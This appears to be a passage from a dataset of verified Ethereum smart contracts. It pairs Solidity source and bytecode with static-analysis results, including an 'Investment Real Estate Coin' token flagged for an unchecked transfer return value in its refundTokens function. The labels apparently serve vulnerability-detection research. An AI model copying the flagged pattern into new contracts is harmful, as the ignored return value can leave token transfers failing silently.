* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override(IERC20) returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
override(IERC20)
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d6106a4565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ae565b60405180821515815260200191505060405180910390f35b61023f61085e565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610875565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaa565b6040518082815260200191505060405180910390f35b61031c610af2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b94565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de0565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105b457600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073957600080fd5b6107c882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610853848484610ea6565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108b057600080fd5b61093f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8a5780601f10610b5f57610100808354040283529160200191610b8a565b820191906000526020600020905b815481529060010190602001808311610b6d57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bcf57600080fd5b610c5e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610dd6338484610ea6565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610e7c57600080fd5b8091505092915050565b600082821115610e9557600080fd5b600082840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ef157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2b57600080fd5b610f7c816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea26469706673582212200d5c7a57a63c3cd127f8d05225b69387f5558ed1d4cee06e805e98401915ddf664736f6c63430007010033
|
{"success": true, "error": null, "results": {}}
| 3,529 |
0xfe8c1c3e41960517b8c9fa83d9cf867b6275717f
|
pragma solidity ^0.4.24;
/*
* Creator: IREC (Investment Real Estate Coin)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Investment Real Estate Coin smart contract.
*/
contract IRECToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 9000000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function IRECToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Investment Real Estate Coin";
string constant public symbol = "IREC";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae4565b005b34801561043c57600080fd5b50610445610d04565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3d565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc9565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e50565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280601b81526020017f496e766573746d656e74205265616c2045737461746520436f696e000000000081525081565b6000806106ed3385610dc9565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb1565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a3565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ada576109d56b1d14a0219e54822428000000600454611489565b8211156109e55760009050610adf565b610a2d6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7b600454836114a2565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610adf565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7d57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d6020811015610c4d57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f495245430000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9857600080fd5b600560009054906101000a900460ff1615610db65760009050610dc3565b610dc083836114c0565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eac57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee757600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110e057600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116d5760009050611482565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bc5760009050611482565b6000821180156111f857508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141857611283600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d56000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149757fe5b818303905092915050565b60008082840190508381101515156114b657fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fd57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154c576000905061170c565b60008211801561158857508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a2576115d56000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165f6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820aaa1b6fcf0241418dcb0e394d4a0e3be9d1e2cd68d022e95f3f644189a0a3c710029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,530 |
0x7ba599e7b9b9bcf2c227aece66eee9141d788e0b
|
/**
*Submitted for verification at Etherscan.io on 2021-12-08
*/
/*
DILDOSRUS
Site: https://dildosr.us
$DILDOS
________ .___.____ ________ ________ ___________________ ____ ___ _________
\______ \ | | | \______ \ \_____ \ / _____/\______ \ | \/ _____/
| | \| | | | | \ / | \ \_____ \ | _/ | /\_____ \
| ` \ | |___ | ` \/ | \/ \ | | \ | / / \
/_______ /___|_______ \/_______ /\_______ /_______ / |____|_ /______/ /_______ /
\/ \/ \/ \/ \/ \/ \/
*/
pragma solidity 0.8.9;
